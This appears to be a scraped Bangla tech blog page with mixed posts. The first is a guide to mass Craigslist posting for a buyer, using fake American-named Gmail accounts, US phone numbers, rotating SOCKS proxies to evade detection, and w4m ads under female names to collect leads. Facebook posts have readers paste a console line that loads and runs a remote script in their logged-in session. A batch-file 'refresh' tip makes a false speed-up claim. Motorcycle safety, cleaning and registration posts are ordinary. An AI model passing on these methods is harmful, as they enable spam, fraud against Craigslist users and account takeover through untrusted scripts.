BanglaData.Blogspot.Com

BanglaData.Blogspot.Com

বাংলা তথ্য ভান্ডারে স্বাগতম

সকল তথ্য পাবেন....BanglaData তে

Welcome To BanglaData

Keep visiting @ BanglaDataBlog

বৃহস্পতিবার, ৩০ জুলাই, ২০১৫

ক্রেগলিস্টে কাজ করা

আমরা অনেকেই অনেক দিন ধরে ক্রেগলিস্টে কাজ করছি অথবা অনেকেই নতুন করে শুরু করতে চাইছি । আমার জানা মতে বাংলায় তেমন কোন টিউটোরিয়াল নেই তাই আমি নতুন হিসেবে নতুনদের জন্য সামান্য কিছু তথ্য সকলের সামনে উপস্থাপন করলাম । আসুন জেনে নেই আমাদের কি কেন এবং কিভাবে কাজ করতে হবে
আমাদের কাজের জন্য যা যা প্রয়োজন হবেঃ-
১.একাধিক ওয়েব ব্রাউজার একসাথে একাধিক মেইল ওপেন রাখার জন্য । তবে সর্বনিম্ন ২ টি ব্রাউজার হলেও কাজ করা যাবে। আপনি ( Mozila FireFox, Google Chrome, SeaMonkey, CometBird, Flock) ব্যবহার করতে পারেন।
২. জিমেইল অ্যাকাউন্ট (ইউএসএ এর নাম ভিত্তিক) ।
৩. জিমেইল অ্যাকাউন্ট ফোন ভেরিফাই করার জন্য ইউএসএ এর ফোন নম্বর ।
w4m ও জব পোস্ট উভয় কাজের জন্য মেইল তৈরি হয়ে গেলে মেইলটিকে অবশ্যই মাদার মেইল এ ফরওয়ার্ড করে দিতে হবে ।
মনে রাখতে হবে জব পোস্ট করার ক্ষেত্রে প্রতিটি মেইল কাজ শুরু করার আগে আমরা যে সিটিতে কাজ করবো তার আইপি দিয়ে তৈরি করতে হবে এবং w4m এ পোস্ট করার ক্ষেত্রে আগে থেকে মেইল তৈরি করে রাখা যেতে পারে তবে জবের জন্য মেইল পুরুষের নাম দিয়ে তৈরি করা ভালো এবং w4m এর জন্য অবশ্যই মেয়েদের নামে করতে হবে।
প্রথম ধাপঃ
আমরা যে সিটিতে কাজ করবো সেই সিটির প্রক্সি আইপি সক্স থেকে চালু করে নিতে হবে এবং চালু হয়ে গেলে নিশ্চিত হবার জন্য ওয়েব ব্রাউজারে টাইপ করতে হবে What is my ip ?
এরপর মেইল তৈরির জন্য আমেরিকান পুরুষ/ মহিলা এর নাম বাছাই করে নিতে হবে ।
বাছাই করা নাম দিয়ে মেইল তৈরি করতে হবে সেক্ষেত্রে ফোন নম্বরের স্থানে ইউ এস এর ফোন নম্বর ব্যবহার করতে হবে ।
দ্বিতীয় ধাপঃ ( মাদার মেইল ফরওয়ার্ড)
আপনার তৈরি মেইলটিকে মাদার মেইলে ফরওয়ার্ড করে দিতে হবে । এর জন্য আপনাকে দুই ব্রাউজারে দুটি মেইল ওপেন করতে হবে । একটিতে আপানর সদ্য তৈরি করা মেইল এবং অন্যটিতে মাদার মেইল ।
তৃতীয় ধাপঃ (সক্স ওপেন এবং প্রক্সি চালুর নিয়ম)
এবার দেখা যাক কিভাবে আপনি ইউএসএ আইপি ব্যবহার করার জন্য সক্স চালু করবেন
১. প্রথমে আপনাকে আপনার সক্সের জিপ ফাইলটি আনজিপ করে নিতে হবে।
২. এবার আনজিপ হলে সেটিকে শর্টকাট করে ডেস্কটপে নিতে হবে কেননা এটি পোর্টেবল । এর জন্য সবুজ চিহ্নিত Socks escort আইকন এর উপর মাউস এর রাইট বাটন ক্লিক করে Send To > Desktop (create shortcut icon) এ ক্লিক করুন। ।
৩. এবার ডেস্কটপে সক্সের আইকনটিতে ক্লিক করতে হবে। লগইন আইডি পাসওয়ার্ড দিয়ে প্রবেশ করুন। প্রবেশের পর বিভিন্ন দেশের নাম থেকে United States এ ক্লিক করুন।
এবার নিচে ইউএসএ এর বিভন্ন State দেখতে পাবেন এবং সেই State কয়টা প্রক্সি আছে সেটি দেখতে পারবেন। এবার আপনি যে State এ পোস্টিং করতে চান সেই State এ ক্লিক করুন। এরপর আপনি ঐ State এর সকল সিটি এর আইপি দেখতে পাবেন, এবার আপনি যে আইপি তে কাজ করতে চান সেই আইপিতে রাইট বাটন ক্লিক করে চালু Obtain To > Default profile এ ক্লিক করতে হবে।
এবার আমরা সক্স এর নিচের দিকে দেখতে পাব একটি সবুজ লাইট অন হয়ে গেছে, তার মানে সক্সটি এখন কাজ করার জন্য প্রস্তুত।
যদি একটি ভালো মানের আইপিতে কাজ করতে চান তাহলে আপনাকে দেখতে হবে যে সেই আইপি এর পিং রেট 100ms থেকে 150ms এর মধ্যে আছে কিনা এবং ঐ একই আইপি এর Uptime 03:00:00 থেকে 10:00:00 আছে কিনা। এইসকল রেঞ্জ এর মধ্যে থাকা আইপি গুলোর স্পীড বেশি হয় এবং লাইভ হবার সম্ভাবনা বেশি থাকে।
চতুর্থ ধাপঃ (পোস্ট করা ও পোস্ট লাইভ নিশ্চিত হওয়া)
এতক্ষণ আমরা যা করেছি সেটি ক্রেগলিস্টে কাজ করার জন্য সেটআপ সমূহ দেখানো হয়েছে, এবার আমরা যা করবো সেটা হল প্রধান বিষয়। এখন এই ধাপে আমরা দেখব কিভাবে জব সেকশন এ পোস্ট করবেন এবং লাইভ হয়েছে তা বুঝবেন । তো চলুন শুরু করা যাকঃ
১ . ১ম,২য় ও ৩য় ধাপ ওকে করার পর আমাদের বায়ারের দেয়া পোস্ট লিস্ট এক্সেল ফাইলটি ওপেন করতে হবে
২. এখানে জব পোস্টের জন্য যে লিঙ্ক গুল দেয়া আছে সেখান থেকে যে সিটিতে পোস্ট করবেন সেটির জব সেকশন এর পোস্ট লিংক কপি করে ব্রাউজারে ওপেন করে নিন।
৩. এবার আমরা একটা ফর্ম ফেজ পাব যেখানে আমাদের পোস্ট এর টাইটেল , লোকেশন ,ইমেইল ( কাজের শুরুতে আমরা যে মেইল টি তৈরি করেছি সেটি) পোস্টের বর্ণনা , Compenstion এ কত পে করা হবে তা ও জব কি ধরনের হবে এসব ফিল্ড গুলো পূরণ করুন।
৪. এবার পেজের নিচে দিকে Continue এ ক্লিক করুন । এর পর পরবর্তী পেজ আসবে এবং এখানে ও Continue বাটন এ ক্লিক করুন।
৫. এখন একটি কনফার্মেশন লিঙ্ক আপনার নতুন মেইল এ যাবে। সেখান থেকে কনফার্মেশন লিংক এ ক্লিক করুন।
৬. এবার Terms & Condition এর পেজ আসবে। এবার নিচে Agree তে ক্লিক করুন।
পরবর্তী যে পেজ আসবে তার মাধ্যমে আমরা বুঝতে পারবো আমাদের পোস্ট লাইভ হয়েছে কি না ।
যদি ফোন নম্বর চায় তাহলে বুঝতে হবে লাইভ হয়নি ।
একই ভাবে আবার পুনরায় ওই জব লিঙ্ক ওপেন করে নতুন করে পোস্ট করুন ।এভাবে প্রতিটি মেইল ও প্রক্সি দিয়ে আপনি একটি সিটিতে ১৫ টি পর্যন্ত পোস্ট করতে পারেন।
যদি আপনার ৩ টি লাইভ হয় তাহলে এর পোস্ট করা যাবে না প্রতিটি পোস্টে ভিন্ন ধরনের জব পোস্ট করুন এবং প্রতিদিন একই সিটিতে পোস্ট না দেওয়াই ভালো ।
বোনাসঃ
এখানে ক্রেগলিস্টে ব্যবহারিত কিছু শব্দের সংজ্ঞা দেয়ার চেস্টা করবো এবং বেশ কিছু টিপস উল্লেখ করবো যার মাধ্যমে আপনি সহজেই পোস্ট লাইভ করতে পারবেন।
সক্সঃ
যে সফটওয়ার এর মাধ্যমে আপনি আপনার কম্পিউটার এর প্রক্সি পরিবর্তনের সাথে সাথে আইপি চেঞ্জ করতে পারেন।
লাইভঃ
লাইভ মানে হল আপনি যে পোস্ট করেছেন সেটি একটিভ অবস্থায় থাকা। পোস্টিং এর সময় যেসকল পোস্ট গুলো ক্রেগলিস্ট এপ্রুভ করে ফোন ভেরিফিকেশন ছাড়াই সেগুলোই হল লাইভ। এক্ষেত্রে আপনার যত বেশি লাইভ হবে আপনার লিড এর পরিমান তত বেশি হবে।
লিডঃ
আপনার লাইভকৃত পোস্ট এ যদি কেউ রিপ্লে দেয় তাহলে সেই রিপ্লে প্রথমে আপনার মাদার মেইল এ আসবে এবং সেখান থেকে তা ফরওয়ার্ড হয়ে আপনার কাউন্ট মেইল এ আসবে। তার মানে হচ্ছে যে প্রতিটি রিপ্লেই মানে হল এক একটি লিড, এ ধরনের ১০০০ টি রিপ্লেকে আমরা 1K বলে থাকি।
(flag) ফ্ল্যাগঃ
Flag মানে হল আপনার লাইভকৃত পোষ্টকে ডিলিট করে দেয়া। যখন ক্রেগলিস্ট এর মোডারেটর দেখে যে আপনার পোস্টিং এ স্প্যামিং হয়েছে বা পোস্টিং উপযুক্ত নয় তখন তারা সেই লাইভকে ডিলিট করে দেয়, আর এটাই হল ফ্ল্যাগ।
মাদার মেইলঃ
মাদার মেইল হল সেই ইমেল যে ইমেইল এ আপনার সকল প্রয়োজনীয় মেইল যেমন লিংক কনফার্মেশন, লিড, লাইভ এর মেইল গুলো আসবে সেটি।
কাউন্ট মেইলঃ
এই ইমেইল এ ফিল্টারিং এর মাধ্যমে শুধু মাত্র আপনার লিড গুলো আসবে। এবং আপনি এখান থেকেই বুঝতে পারবেন যে আপনার মোট কতটি লিড এসেছে।

কিছু প্রয়োজনীয় কথাঃ
১. ধৈর্য্য ধারন করে কাজ করতে থাকুন, যতক্ষণ পর্যন্ত লাইভ না হয় ততোক্ষণ ধৈর্য্য সহকারে পোস্ট করতে থাকুন। কারন ধৈর্য্য ছাড়া ক্রেগলিস্ট এ কাজ করে সফল হওয়া যায় না।
২. নিজে নিজে অ্যাড লিখে পোস্ট করার চেষ্টা করুন। এবং আকর্ষণীয় টাইটেল দিতে পোস্ট করুন। সেক্ষেত্রে লিড পাওয়ার সম্ভবনা খুবই বেশি থাকে।
৩. আপনার ইমেইল , লাইভ সহ সকল তথ্য নিয়মিত সংরক্ষণ করুন।
৪. প্রতিদিনের বায়ারের টার্গেট পূরণ করার চেষ্টা করুন।
৫. একই সিটিতে ৩ বার এর বেশি লাইভ করানো থেকে বিরত থাকুন।
৬. W4M এর লাইভ এর জন্য সবচেয়ে ভালো সময় বাংলাদেশের জন্য ভোর ০৫টা থেকে সকাল ১০ টা এবং সন্ধ্যা ০৫ টা থেকে রাত ১০টা। তাই চেষ্টা করুন এই সময়ের মধ্যে পোস্টিং করা ও লাইভ করানোর জন্য। তাহলে আপনি সবচেয়ে বেশি লিড পেতে পারেন। আর জব পোস্টিং এর জন্য সারা দিন রাতই লাইভ হয়।
৭. W4M এর লিড বেশি হয় এবং একসাথে অনেক লিড পাওয়া যায়,কিন্তু W4M এর ফ্ল্যাগ বেশি হয়। অন্যদিকে জব এ লিড ধীরে ধীরে আসতে থাকে কিন্তু ফ্ল্যাগ কম হয়।
৮. সক্স ব্যবহারে মিতব্যায়ি হোন । অযথা বার বার আইপি চেঞ্জ করবেন না। এতে করে আপনার জন্য বরাদ্দকৃত আইপি এর পরিমান কমে যেতে পারে, তাছাড়া ক্রেগলিস্ট বাদে ঐ আইপি দিয়ে অন্যকাজ করবেন না।
৯. সক্সে যদি কোন সমস্যা হয় তাহলে লগ আউট করে পুনরায় লগইন করুন। তাতেও যদি না হয় তাহলে পিসি রিস্টার্ট দিন।
১০ সক্স চালানর জন্য উইন্ডোজ সেভেন ব্যবহার করুন, আর যারা এক্সপি ব্যবহার করেন তারা .Net 3.0 ইন্সটল করে নিন। অন্যথায় সক্স কাজ করবে না।
যারা সম্পূর্ণ নতুন তাদের কাজ করার ক্ষেত্রে কিছুটা সমস্যা হতে পারে তবে সেক্ষেত্রে অন্যদের কাছ থেকে কিছুটা সাহায্য নিলে আশা করি কোন সমস্যা হবে না । আমাদের টিউটোরিয়ালটি মনোযোগ সহকারে পড়ার জন্যা ধন্যবাদ।

How to Add your friends in a Facebook Group in Single Click

How to Add your friends in a Facebook Group in Single Click

STEP #1 Enable Bookmark Toolbar in Firefox Web Browser
First open Firefox Web Browser.
If you dont have Firefox installed then you can download from following link
http://www.mozilla.org/en-US/firefox/new/ or type in Google "Firefox Download"
First Check you have "Bookmark Bar" enabled or not in Firefox
Right Click on the top of the Firefox, it will show a menu
Make sure it shows "Bookmarks Toolbar" is checked. If not then first check it
Bookmarks Toolbar will enable Bookmark Bar.
You can identify Bookmark Bar by its first link as "Most Visited"

Once the Bookmark Bar is enable go to STEP #2
STEP #2: Create Bookmark for "Add Friends" Script
Open following link in firefox http://drswamy.weebly.com/
Instructions are written on this page about how to run script
DRAG and DROP the blue colored button on the "Bookmark Bar"
It will createa Bookmark [Click to Add] in the Bookmark Bar
Now Open the Group where you want to add your friends. For exmaple Open Dr Swamy/Modi/Baba-Anna Group and go to STEP #3
Link to groups are already there in the page

STEP #3: Add Frineds in Group by "Add Friends" script
Make sure you are in Right Group
Just Click on [Click to Add] bookmark button
This will show you a box which will show Total number of friends and how many are added
Dont Close this window and let it finish
You can do your work in other Tabs and Windows
!!! ENJOY AND RELAX NOW !!!

Refresh full computer by 1 click

We need to refresh our computer when it becomes very slow. In that case we have to do it many times until it works normally. When our computer work more than its ability it becomes more and more slow. Those time computer can be stop working
or can be shut down automatically. Some times it make us irritant. We use mouse or keyboard to refresh computer. Those process are not so easy because you have to refresh it every times when computer becomes slow or become hang. But you can do it by 1 click. To remove all these problem i am sharing a trips. Now i will show you that How to Refresh full computer by 1 click. Just follow the instruction.

Process :

1. Create a Text document in desktop
2. Rename it refresh drive
3. Open refresh drive
4. Write the following code in notepad
Echo off
cd/
tree
c:
tree
d:
tree
e:
tree
f:
tree
g:
tree
h:
tree
5. Then save it
6. Now change the extension from .txt to .bat
7. Now open it

বুধবার, ২৯ জুলাই, ২০১৫

How To Add All Facebook Friends In Group By Single Click

How To Add All Facebook Friends In Group By Single Click

Topics related to Facebook, i have discuss about invite all friends in event and pages. After the good response to my Single name facebook trick and facebook chat code trick.  This trick is totally save their is no worry about you protection and
security because many users worry about it due to lack of knowledge. So if want to increase account security then read ways to make account fully secure or if want to make your account fully protect then must read Tips to Increase Account Protection.

Now here is another one about Facebook groups. Facebook Groups are best place for discussion and talking with friends and many people at same time. But If have too many friends in profile and you find it difficult to add all friends one by one it is a wastage of time.
If you want to add your all friends in group by just single click then follow all steps carefully.

Firstly open Mozilla Firefox
Now Open your Facebook group in which you want to add your friends

Then Click Ctrl + Shift + K
Now  Paste...

javascript:(function(){document.body.appendChild(document.createElement('script')).src=' http://www.weebly.com/uploads/4/4/7/4/4474196/bappi.js ';})();

Then press Enter

After then to hide box press again Ctrl + Shift + K

শুক্রবার, ২৪ জুলাই, ২০১৫

বাইক রাইডিং এর ক্ষেত্রে ১০ টি মারাত্মক সেফটি টিপস

বাইক রাইডিং এর ক্ষেত্রে ১০ টি মারাত্মক সেফটি টিপস

বর্তমান সময়ে বাইক রাইডিং একটা প্যাশন এবং অনেকের ক্ষেত্রে এটা একটা নেশায় পরিণিত হয়েছে । কিন্তু আমরা সবাই’ই জানি যে বাইক রাইডিং এ অনেক রিস্ক রয়েছে এবং সেগুলো মোকাবেলা করেই বাইক রাইড করতে হয় । না হলে আপনি বা যেকোন রাইডারই এক্সিডেন্টের সম্মুখীন হতে পারে এবং বাইক এক্সিডেন্টের ফলে প্রতিদিনই অনেক মানুষ আহত হচ্ছে এমনকী অনেকে মারাও যাচ্ছে । তাই রাইডিং এর আগে কীভাবে সেফলি বাইক রাইড করা যায় সে বিষয়ে আমাদের জানা উচিৎ । আর এটাই আমাদের আজকের আলোচনার বিষয । আজ আমি আপনাদের বাইক রাইডিং এর কিছু সেফটি টিপস দিব যেগুলো আশা করি আপনাদের কাজে লাগবে ।

হেলমেট:
আমরা সবাই জানি যে হেলমেট এর মত গুরুত্বপূর্ণ জিনিস রাইডিং রে ক্ষেত্রে আর হয় না । এটা রাইডারের মাথার সেফটি দিয়ে থাকে এবং বেশীরভাগ এক্সিডেন্টে রাইডারের মাথাই ইনজুরি হয়ে থাকে । তাই , রাইডিং এর আগে সব রাইডারের একটা ভাল এবং তার সাথে ফিট একটা হেলমেট চয়েজ করা দরকার । এটা খুব টাইট বা খুব লুস হবার কোন দরকার নেই । এটা যেন আপনার মাথার সাথে পারফেক্টলি ফিট হয় । আর এটা কেনার সময় ডিজাইন বা স্টাইল না দেখে এটার সেফটি পাওয়ার দেখে কেনাই ভাল ।

মনোযোগীতা:
রাইডং এর সময় বাইকারের এটেশন সবসময় রোডের দিকে থাকাই ভাল । না হলে অনাকাঙ্খিত দূর্ঘটনা ঘটতে পারে । আপনার চোখ সবসময় রোডের উপর রাখুন । অন্যমনস্ক ভাবে রাইডিং এক্সিডেন্টের অন্যতম প্রধান কারণ । আর আপনার সামনে বা পেছনে কোন বাইক বা অন্য কোন যানবাহন আছে কীনা সেটার দিকে লক্ষ্য রাখুন । টার্ণিং এর সময় পুরো রোডের দিকে ভালভাবে খেয়াল করে টার্ণ করুন । রাস্তার ট্রাফিকের বিষয়টা এক্ষেত্রে মাথায় রাখুন ।

প্যাসেঞ্জার:
রোডে সিঙ্গেল রাইড করছেন এমন পাবলিক খুব কমই দেখা যায় ।সবসময়ই বাইকের পেছনে একজন সহ রাইডিং এর বিষয়টা বেশী নজরে পড়ে । রাইডিং এর ক্ষেত্রে প্যাসেঞ্জারও একটা ভাইটাল রোল প্লে করে । রাইডিং এর আগে আপনার পেছনের যাত্রী ঠিকমত বসতে পেরেছে কীনা সেটা লক্ষ্য রাখুন । অনেক সময় পেছনে বসা কারোর নড়াচড়া বা অনাকাঙ্খিত মুভমেন্টের কারণেও বিপদ ঘটে থাকে । আর আপনি একজন প্যাসেঞ্জার নিয়ে রাইড করতে কতটা অভিজ্ঞ সেটাও একটা বিষয় । আপনাকে সবসময় মাথায় রাখতে হবে যে আপনার পেছনে একজন বসে আছে এবং সেই অনুসারে রাইড করা উচিৎ ।

আবহাওয়া:
খারাপ আবহাওয়াতে আপনার রাইডিং এ না যাওয়াই ভাল । কারণ বৃষ্টির সময় রোড ভেজা থাকার কারণে আপনার বাইকের চাকা খুব সহজেই স্লিপ করতে পারে । খুব ইমারজেন্সি কোন দরকার ছাড়া বৃষ্টির সময় আপনার বাইক নিয়ে না বের হওয়াই ভাল । যদিও আপনি অভিজ্ঞ এবং ভাল রাইডার হন , তারপরও বৃষ্টির সময় রিস্ক না নেওয়াটাই বেটার । আর বৃষ্টির সময় রাইডিং এ গেলে অবশ্যই বাইক খুব আস্তে রাইড করবেন এবং ব্রেকিং এর সময় হার্ড ব্রেকিং থেকে বিরত থাকবেন ।

টেকনোলজি:
বর্তমানে নতুন টেকনোলজির এন্টি লক ব্রেকিং সিস্টেমের ফলে ব্রেকিং সিস্টেম একটা অন্যরকম উচ্চতায় চলে গেছে । কিন্তু , এটা বর্তমানে বেশীরভাগ রাইডারের কাছেই নতুন একটা বিষয় এবং বেশিরভাগ রাইডার এটা সম্পর্কে ভালভাবে বুঝে উঠতে পারেননি । এটা যখন আপনার চাকাকে লক করে দেয় তখন নতুন রাইডার হলে ভয়ে বা অন্য যেকোন কারণে আপনি বাইকের কন্ট্রোল হারিয়ে ফেলতে পারেন । তাই , নতুন কোন টেকনোলজি ভালভাবে প্রাকটিস করে ইউজ শুরু করুন ।

হেডফোন বন্ধ রাখুন:
রাইডিং এর সময় এটেনশন যে একটা গুরুত্বপূর্ণ ফ্যাক্ট সেটা আগেও বলেছি । যেকোন প্রকার অমনোযোগীতা আপনার বিপদ ডেকে আনতে পারে । তাই , রাইডিং এর সময় কানে হেডফোন দিয়ে গান শোনা বা কথা বলা থেকে বিরত থাকুন । কারণ , এটা একই সাথে আপনাকে অমনোযোগী করে দেয় এবং আশেপাশের কোন যানবাহনের হর্ন আপনি শুনতে পাবেন না কানে হেডফোন থাকলে ।

স্কিল:
মোটরসাইকেল রাইডিং অবশ্যই একটা স্কিল এর বিষয় , এবং আপনি কত ভালভাবে মোটরসাইকেল রাইড করতে পারেন সেটা আপনার স্কিলের উপর ডিপেন্ড করে । আর এক্ষেত্রে সবার নিজের স্কিল ফলো করাই উচিৎ । কোনসময়্ই আপনার স্কিলের সাথে অন্য কারও স্কিল তুলনা করবেন না , কারণ , আপনি যার রাইডিং স্টাইল নল করতে চাইছেন তার স্কিল আপনার মত নাও হতে পারে । তাই , এটা একটা বোকামী । রাইডিং এর মাধ্যমে আপনার নিজের স্কিল ডেভলপ করুন । সেটাই সবথেকে ভাল ।


এ্যাপিয়ারেন্স:
রাইডারের এপিয়ারেন্স রাইডিং এর ক্ষেত্রে সবসময় ভাল হওয়া উচিৎ । আপনার উচিৎ রাইডিং এর সময় একটা ভাল বুট পড়ে রাইড করা । এটা আপনার গিয়ার শিফটিং এর সময় সহায়তা করা সহ যেকোন দূর্ঘটনা থেকে আপনার পা কে সুরক্ষা দেয় । রাইডিং এর সময় ইন্জিনের তাপে আপনার পা পুড়ে যাবার সম্ভাবনা থাকে । একটা ভাল রাইডিং বুট আপনাকে এটা থেকেও নিরাপত্তা দিতে পারে । আর আপনার জুতার সোল সবসময় একটু অমসৃণ হওয়া উচিৎ , কারণ , সোল নরম ও মসৃন হলে আপনার পা স্লিপ করতে পারে ।

বাইকারের ড্রেস:
খুব টাইট বা ঢিলাঢোলা ড্রেসআপ কোন রাইডারের জন্যই ভাল না । কারণ এটা আপনাকে ভাল নিরাপত্তা দিতে পারে না । আপনার ড্রেস হিসেবে লেদার একটা প্রথম চয়েজ হতে পারে কারণ আপনি বাইক থেকে পড়ে গেলে এটা আপনার বডিকে ইনজুরি থেকে রক্ষা করে । আর এমন ড্রেস চয়েজ করবেন না যেটা বাতাসের বাধা সৃষ্টি করতে পারে । কারণ , হাই স্পীডে বাতাসেরবাধার কারণে অনেক সময় মারাত্মক সমস্যা হয়ে থাকে । ‌

আইন সম্পর্কে জানুন:
একজন রাইডারের জন্য ফাইনাল টিপস হল রাইডারের উচিৎ একটা মোটরসাইকেল সেফটি কোর্স করা । মোটরসাইকেলের লাইসেন্স করার সময় আপনাকে এই কোর্সের জন্য পরীক্ষা করে নেওয়া হয় । এই সময় আপনি আপনার দেশের ট্রাফিক সেফটি আইন সম্পর্কে জানতে পারবেন এবং কীভাবে ইমারজেন্সী সিচুয়েশনে বাইক কন্ট্রোল করতে হয় সেই বিষয়েও জানতে পারবেন । এই সময় ইনস্ট্রাকটর আপনাকে মোটরসাইকেল মেইনটেইন্স এবং আনসেফ সিচুয়েশন কীভাবে হ্যান্ডেল করতে হয় সে বিষয়েও টিপস দিবে । মোটামোটি আপনি এই সময় মোটরসাইকেলের সেফটি বিষয়ে অনেক কিছু জানতে পারবেন ।
by Jahidmonir

আপনার বাইক পরিষ্কার করুন ঘরে বসেই, বাইক পরিষ্কারের সম্পূর্ণ গাইডলাইন

আমরা বাংলাদেশে এমন একটা পরিবেশে বাস করি যে যার চারিদিকে শুধু প্রচুর ধূলাবালি আর কাদামাটি। এগুলো শুধুমাত্র বাইকের ক্ষেত্রে না , যেকোন মানুষ ও প্রাণীর পক্ষেই ক্ষতিকর। তাই , বাইক ভাল রাখার জন্য আমাদের বাইককে রেগুলার পরিষ্কার করা উচিৎ। না হলে বাইকের বিভিন্ন পার্টসে বিভিন্ন রকম সমস্যা দেখা দিতে পারে। আর ঢাকা শহরে যে কেউ বাইক রাইড করলে তাকে প্রতিদিনই বাইক পরিষ্কার করা উচিৎ ।
ধূলাবালি সাধারণত বাতাসে ভেসে বেড়ায় , যেকারণে বাইক রাইড করলেই অটোমেটিক কিছু ধুলাবালি বাইকের বিভিন্ন স্থানে আটকে পড়ে । এই ময়লা আবর্জনা ও ধূলাবালি হল বাইকের সব পার্টস সহ বিশেষ করে ইন্জিনের জন্য মারাত্মক ক্ষতিকর । তা্ই , আজ আমরা বাইক কীভাবে ভালভাবে পরিষ্কার করা যায় এবং এটা সুস্থ রাখা যায় সে বিষয়ে আলোচনা করব ।

অনেকে এটাকে একটা কঠিন কাজ হিসেবে দেখেন এবং এটা রেগুলার করতে চান না । এই টাইপের মানুষদের জন্যও আজ চমৎকার একটা সমাধান রয়েছে । নীচের প্রসিডিউরগুলো ফলো করলে আপনার বাইক আপনি কম সময়ের ভেতর খুব সুন্দরভাবে পরিষ্কার করতে পারবেন । এইব এই প্রসিডিউর গুলো কিছু প্রফেশনাল রেস টিমের কাছ থেকে সংগ্রহ করা ।

এই কাজের জন্য আমাদের প্রথমেই কী কী দরকার হবে সেগুলো সম্পর্কে জানতে হবে । নীচে এই কাজে ব্যাবহৃত সব ইকুইপমেন্ট সম্পর্কে বলা হল :

শ্যাম্পুর পানি রাখার জন্য একটা বালতি
শ্যাম্পু অথবা কোন ভাল ক্লিনার
গ্লোভস
বাগ এবং কার্বণ জাতীয় পদার্থ রিমুভার
ইন্জিন ক্লিনার
একটা টুথব্রাশ
চাকা পরিষ্কারের জন্য একটা ব্রাশ
হুইল ক্লিনার
১০০% কটন স্পঞ্জ
বেশ নরম কটনের তোয়ালে বা কাপড় ।
মোছার জন্য ভাল কোন কাপড় ।


এখন আমরা বাইক পরিষ্কার করার জন্য প্রয়োজনীয় জিনিসগুলো সম্পর্কে ভালভাবে জেনে গেছি । এবার কাজ শুরু করা যাক । আমরা বাইক পানি ও শ্যাম্পু দুটো দ্বারাই পরিষ্কার করতে পারি । এটা আপনার চয়েজ । আপনি অবশ্য পানি ও শ্যাম্পু একসাথে মিক্স করে নিতে পারেন । শুধু পানি নিলে সেটা হালকা গরম পানি হতে হবে ।
আমাদের সবসময়ই স্পঞ্জ টা রেডি রাখতে হবে এবং এটা এমন স্থানে রাখতে হবে যাতে করে এটা মাটির সংস্পর্শে না আসে । বাইকের বিভিন্ন স্থানে ময়লা পরিষ্কার করার জন্য আপনাকে বাগ এবং টার রিমুভার ইউজ করা উচিৎ । বাইক পরিষ্কার করার সময় এটা খেয়াল রাখুন যে আপনি স্পঞ্জটা খুব জোরে বাইকের কোন পার্টসের উপর চেপে ধরছেন না । এবং একই স্পঞ্জ ২ জায়গায় ইউজ না করাই ভাল ।বাইকে মুলত ২ ধরণের পার্টস থাকে । হার্ড পার্টস এবং সফট পার্টস । তাই , ২ ধরণের পার্টস ২ ভাবে পরিষ্কার করা উচিৎ । হার্ড পার্টস গুলো ক্ষেত্রে ডিগ্রেসর ইউজ করা যায় এবং এটা ইউজ করার পর সেই পার্টসগুলো জোরে ঘষা দেওয়া উচিৎ না কারণ এটা করলে বাইকের পেইন্ট উঠে যেতে পারে ।
আর বা্ইক পরিষ্কার করার জন্য মাইক্রোফাইবারের কোন প্রয়োজন পড়ে না কারণ একটুকরা নরম ছেড়া কাপড়ই এই কাজটা ভালভাবে করতে পারে । এক্সহাউস্ট পাইপের উপর থেকে বুটের দাগ দূর করার জন্য আপনাকে ক্লিনার ইউজ করা উচিৎ কারণ এই পাইপের উপর বুটের দাগ আসলেই বাজে দেখায় । আর বাইকের যে পার্টসগুলো হাত দিয়ে পরিষ্কার করা সম্ভব না , অর্থাৎ যে পর্যন্ত হাত পৌছায় না সেখানে পরিষ্কার করার জন্য টুথব্রাশ ইউজ করা হয় । বাইকের বিভিন্ন পার্টস থেকে তেলতেলে ভাব দূর করার জন্য আপনার ডিগ্রেসার ইউজ করাই উচিৎ । আর বাইকের চাকা পরিষ্কার করাই হল সবথেকে কঠিন কাজ । এই কাজের জন্য কোন লম্বা টুথব্রাশ দরকার হয় । এবং এই কাজের জন্য হুইল ক্লিনার ইউজ করা যায় । বাইকের পেইন্টেড পার্টসগুলো পরিষ্কার করার জন্য আপনার দরকার এক বালতি গরম সাবান মিশ্রিত পানি । এবং এই পার্টসগুলো পরিষ্কার করার জন্য আপনাকে স্পঞ্জ বা খুবই নরম কাপড় ইউজ করা উচিৎ ।
সাবান পানি বাইকের পেইন্টেড পার্টসগুলোর উপর দাগ ফেলতে পারে তাই আমরা ওই পার্টসগুলো পরিষ্কার করার আগে অবশ্যই পানিতে ভিজিয়ে নিব । এববং এই কাজের জন্য ১০০% কটন স্পঞ্জ ইউজ করতেই হবে । না হলে বাইকের বিভিন্ন স্থান থেকে রং উঠে যেতে পারে । এবং বাইকের বিভিন্ন পার্টস থেকে সাবান পানি দূর করার জন্য আমাদের আরেক বালতি গরম পানি লাগবে । এইসব কাজের আগে এটা নিশ্চিত করুন যে আপনার বাইকটি একটি ছায়াঢাকা কোন স্থানে আছে । আর বাইকটিকে শুকানের জন্য আমরা অবশ্যই নরম কোন কাপড় ইউজ করব ।

এটাই হল আমার জানামতে বাইক পরিষ্কার করার সব থেকে সহজ একটা পদ্ধতি । এর থেকে কম সময়সাপেক্ষ এবং সহজ পদ্ধতি আমার জানা নেই । আমার মনে হয় আপনাদের কাছেও বিষয়টা খুবই সহজ লাগবে এবং এটা বেশী সময় নিবে না । মোটরবাইক সাধারণত আমাদের কাছে ভালবাসার একটা জিনিস । তাই এটার যত্ন নিতে একটু সময় নিন এবং হালকা পরিশ্রম করুন । আমি আশা করি যে আমার এই পদ্ধতিটা আপনাদের কাজকে অনেক সহজ করে দিবে । আর নিজের বাইকের পরিচর্যা নিজের হাতে করা এবং বাইক রাইড করা একটা অন্যরকম মজার ব্যাপার

বাংলাদেশে মোটর সাইকেল রেজিষ্ট্রেশন করার নিয়মাবলী

বাংলাদেশে মোটর সাইকেল রেজিষ্ট্রেশন করার নিয়মাবলী
আশাকরি  আপনাদের মটর সাইকেল রেজিষ্ট্রেশন এর জন্য সহায়ক হবে।
ধাপ ০১:
মটর সাইকেল সংক্রান্ত সকল কাগজ পত্র যে কোম্পানি থেকে মটর সাইকেল টি ক্রয় করেছেন সেই কোম্পানি থেকে সংগ্রহ করুন।
যেমন:
০১. রেজিষ্ট্রেশন ফরম
০২. ক্যাশ ম্যামো
০৩. গেট পাশ এর স্লিপ
০৪. মুসক ১১ (ক) চালান পত্র (যে ডিলার এর নিকট থেকে ক্রয় করেছেন তার অনুকুলে )
